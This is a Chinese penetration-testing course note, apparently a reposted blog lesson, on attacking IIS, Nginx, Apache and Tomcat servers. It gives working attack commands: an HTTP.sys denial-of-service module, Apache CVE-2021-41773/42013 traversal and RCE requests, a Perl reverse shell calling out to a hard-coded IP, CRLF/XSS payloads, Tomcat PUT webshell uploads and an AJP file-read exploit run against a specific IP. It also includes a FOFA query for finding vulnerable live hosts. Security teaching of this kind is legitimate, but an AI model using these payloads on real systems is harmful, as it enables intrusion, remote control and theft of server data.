【第79课】服务攻防-中间件安全IISApacheTomcatNginx弱口令错误配置CVE

本文主要是介绍【第79课】服务攻防-中间件安全IISApacheTomcatNginx弱口令错误配置CVE,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

知识点
1、中间件-IIS-短文件&解析&蓝屏&写权限
2、中间件-Nginx-文件解析&目录穿越&CRLF&CVE
3、中间件-Apache-RCE&目录遍历&文件解析
4、中间件-Tomcat-弱口令&文件上传&文件包含

章节点:
1、目标判断-端口扫描&组合判断&信息来源
2、安全问题-配置不当&CVE漏洞&弱口令爆破
3、复现对象-数据库&中间件&开发框架&应用协议

在这里插入图片描述

一、演示案例-中间件-IIS-短文件&文件解析&蓝屏&写权限

1、HTTP.SYS(CVE-2015-1635)主要用作蓝屏破坏,跟权限不挂钩

1、漏洞描述
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

2、影响版本
Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2

3、漏洞利用条件
安装了IIS6.0以上的Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2版本

4、漏洞复现(蓝屏)

msfconsole
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts xx.xx.xx.xx
set rport xx
run

在这里插入图片描述
在这里插入图片描述
参考地址:HTTP.sys远程代码执行漏洞复现-CSDN博客(curl这个命令powershell自带)

2、IIS短文件(iis全版本都可能有这个问题)

1、此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
在这里插入图片描述
2、漏洞成因:
为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3短文件名。在Windows下查看对应的短文件名,可以使用命令dir /x

3、应用场景:
后台路径获取,数据库文件获取,其他敏感文件获取等

4、利用工具(可以指定目录扫描,不仅仅只是网站根目录):
https://github.com/lijiejie/IIS_shortname_Scanner(py版本)只能探针前6位
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、IIS文件解析

应用场景:配合文件上传获取Webshell

IIS 6 解析漏洞
1、该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析
2、该版本默认会将*.asp/目录下的所有文件当成Asp解析。
如:logo.asp;.jpg xx.asp/logo.jpg

IIS 7.x 解析漏洞
在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件

4、IIS写权限

IIS<=6.0 目录权限开启写入,开启WebDAV,设置为允许
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
getshell参考:题目2-IIS写权限漏洞分析溯源-腾讯云开发者社区-腾讯云

二、演示案例-中间件-Nginx-文件解析&目录穿越漏洞&CRLF

1、CVE-2013-4547 文件上传

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
Vulhub - Docker-Compose file for vulnerability environment

条件:

1.符合的漏洞版本
2.文件上传点

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、解析漏洞(配置不当)

在这里插入图片描述
在这里插入图片描述

3、目录穿越(配置不当)

Payload: http://your-ip:8081/files../ ,成功穿越到根目录:
在这里插入图片描述

4、CRLF注入(配置不当)

在这里插入图片描述
%0a是换行 %0d是回车
检测:
手工检测方式 %0aSet-cookie:JSPSESSID%3Ddrops
在这里插入图片描述
如果要触发XSS,那么XSS代码就要写在下面的html中,而不是响应头部上,所以%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>/
在这里插入图片描述
工具检测
CRLFuzz:https://github.com/dwisiswant0/crlfuzz/releases
支持单个目标和批量目标
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
没有漏洞payload测试
在这里插入图片描述
在这里插入图片描述
有漏洞payload测试
在这里插入图片描述
在这里插入图片描述

三、演示案例-中间件-Apache-RCE&目录遍历&文件解析

Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。

1、cve_2021_42013 RCE

在这里插入图片描述

curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
  • 1

在这里插入图片描述
使用bp也行
在这里插入图片描述
在这里插入图片描述
反弹shell

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh 
echo;perl -e 'use Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

在这里插入图片描述
在这里插入图片描述
这里就有问题了,这个perl反弹命令不会写怎么办?
在这里插入图片描述
只要目标支持这个环境,就可以用这些环境生成的反弹shell命令去试(例如目标有python环境,那是不是就能用python的反弹shell命令去测试)

2、cve_2021_41773 目录穿越

Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
在这里插入图片描述

curl -v --path-as-is 'http://xx.xx.xx.xx/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

在这里插入图片描述
在这里插入图片描述

burp
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

3、Fofaviewer&Apache_RCE-测测实际(cve_2021_41773与cve_2021_42013是同一个问题)

fofa:server="Apache/2.4.49"

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

4、cve-2017-15715 文件解析(条件比较苛刻)

Apache HTTPD是一款HTTP服务器。其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
Vulhub - Docker-Compose file for vulnerability environment

条件:

1.符合漏洞版本2.4.0~2.4.29
2.有文件上传点
3.能够重命名上传文件
缺一不可

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、未知扩展名解析漏洞-不识别即向前解析(很少能遇见了)

低版本2.4.23以下版本都可以
在这里插入图片描述
在这里插入图片描述

6、Apache HTTPD 多后缀解析漏洞(配置问题,比较少见)

在这里插入图片描述
Vulhub - Docker-Compose file for vulnerability environment

如果运维人员给 .php 后缀增加了处理器
配置:AddHandler application/x-httpd-php .php
在这里插入图片描述
在这里插入图片描述

四、演示案例-中间件-中间件-Tomcat-弱口令&文件上传&文件包含

1、后台弱口令猜解

配置不当导致后台弱口令(admin/admin、tomcat/tomcat),可通过上传jsp压缩包改名的war拿shell

Tomcat存在后台管理,账号密码设置在conf/tomcat-users.xml

弱口令爆破

在这里插入图片描述
网上有公开的tomcat爆破工具或者利用BURP直接爆破也行(参考链接:如何使用burpsuite爆破tomcat的账号和密码(有base64编码)_brupsuitpayload加上base64编码-CSDN博客)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

后台getshell

进到后台就能上传war包拿shell了
在这里插入图片描述
在这里插入图片描述
访问出现404不用管,直接访问该目录下的脚本文件即可
在这里插入图片描述
在这里插入图片描述

如何制造war包?

1.创建一个JSP脚本文件
在这里插入图片描述
2.利用压缩工具压缩成zip后缀
在这里插入图片描述
3.把zip后缀改成war即可
在这里插入图片描述

2、CVE-2017-12615 文件上传

当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。

影响版本:Apache Tomcat 7.0.0 - 7.0.79

PUT /x.jsp/ 
PUT /xx.jsp%20
PUT /xxx.jsp::$DATA

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、cve_2020_1938 文件包含

Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。

漏洞影响的产品版本包括:

Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

D:\Python2.7\python.exe .\CNVD-2020-10487-Tomcat-Ajp-lfi.py 47.98.193.176 -p 35839 -f WEB-INF/web.xml

在这里插入图片描述
在这里插入图片描述

这篇关于【第79课】服务攻防-中间件安全IISApacheTomcatNginx弱口令错误配置CVE的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1104555

相关文章

Zookeeper安装和配置说明

一、Zookeeper的搭建方式 Zookeeper安装方式有三种,单机模式和集群模式以及伪集群模式。 ■ 单机模式:Zookeeper只运行在一台服务器上,适合测试环境; ■ 伪集群模式:就是在一台物理机上运行多个Zookeeper 实例; ■ 集群模式:Zookeeper运行于一个集群上,适合生产环境,这个计算机集群被称为一个“集合体”(ensemble) Zookeeper通过复制来实现

CentOS7安装配置mysql5.7 tar免安装版

一、CentOS7.4系统自带mariadb # 查看系统自带的Mariadb[root@localhost~]# rpm -qa|grep mariadbmariadb-libs-5.5.44-2.el7.centos.x86_64# 卸载系统自带的Mariadb[root@localhost ~]# rpm -e --nodeps mariadb-libs-5.5.44-2.el7

hadoop开启回收站配置

开启回收站功能,可以将删除的文件在不超时的情况下,恢复原数据,起到防止误删除、备份等作用。 开启回收站功能参数说明 (1)默认值fs.trash.interval = 0,0表示禁用回收站;其他值表示设置文件的存活时间。 (2)默认值fs.trash.checkpoint.interval = 0,检查回收站的间隔时间。如果该值为0,则该值设置和fs.trash.interval的参数值相等。

NameNode内存生产配置

Hadoop2.x 系列,配置 NameNode 内存 NameNode 内存默认 2000m ,如果服务器内存 4G , NameNode 内存可以配置 3g 。在 hadoop-env.sh 文件中配置如下。 HADOOP_NAMENODE_OPTS=-Xmx3072m Hadoop3.x 系列,配置 Nam

wolfSSL参数设置或配置项解释

1. wolfCrypt Only 解释:wolfCrypt是一个开源的、轻量级的、可移植的加密库,支持多种加密算法和协议。选择“wolfCrypt Only”意味着系统或应用将仅使用wolfCrypt库进行加密操作,而不依赖其他加密库。 2. DTLS Support 解释:DTLS(Datagram Transport Layer Security)是一种基于UDP的安全协议,提供类似于

【Python编程】Linux创建虚拟环境并配置与notebook相连接

1.创建 使用 venv 创建虚拟环境。例如,在当前目录下创建一个名为 myenv 的虚拟环境: python3 -m venv myenv 2.激活 激活虚拟环境使其成为当前终端会话的活动环境。运行: source myenv/bin/activate 3.与notebook连接 在虚拟环境中,使用 pip 安装 Jupyter 和 ipykernel: pip instal

【区块链 + 人才服务】可信教育区块链治理系统 | FISCO BCOS应用案例

伴随着区块链技术的不断完善,其在教育信息化中的应用也在持续发展。利用区块链数据共识、不可篡改的特性, 将与教育相关的数据要素在区块链上进行存证确权,在确保数据可信的前提下,促进教育的公平、透明、开放,为教育教学质量提升赋能,实现教育数据的安全共享、高等教育体系的智慧治理。 可信教育区块链治理系统的顶层治理架构由教育部、高校、企业、学生等多方角色共同参与建设、维护,支撑教育资源共享、教学质量评估、

客户案例:安全海外中继助力知名家电企业化解海外通邮困境

1、客户背景 广东格兰仕集团有限公司(以下简称“格兰仕”),成立于1978年,是中国家电行业的领军企业之一。作为全球最大的微波炉生产基地,格兰仕拥有多项国际领先的家电制造技术,连续多年位列中国家电出口前列。格兰仕不仅注重业务的全球拓展,更重视业务流程的高效与顺畅,以确保在国际舞台上的竞争力。 2、需求痛点 随着格兰仕全球化战略的深入实施,其海外业务快速增长,电子邮件成为了关键的沟通工具。

安全管理体系化的智慧油站开源了。

AI视频监控平台简介 AI视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒,省去繁琐重复的适配流程,实现芯片、算法、应用的全流程组合,从而大大减少企业级应用约95%的开发成本。用户只需在界面上进行简单的操作,就可以实现全视频的接入及布控。摄像头管理模块用于多种终端设备、智能设备的接入及管理。平台支持包括摄像头等终端感知设备接入,为整个平台提

【区块链 + 人才服务】区块链集成开发平台 | FISCO BCOS应用案例

随着区块链技术的快速发展,越来越多的企业开始将其应用于实际业务中。然而,区块链技术的专业性使得其集成开发成为一项挑战。针对此,广东中创智慧科技有限公司基于国产开源联盟链 FISCO BCOS 推出了区块链集成开发平台。该平台基于区块链技术,提供一套全面的区块链开发工具和开发环境,支持开发者快速开发和部署区块链应用。此外,该平台还可以提供一套全面的区块链开发教程和文档,帮助开发者快速上手区块链开发。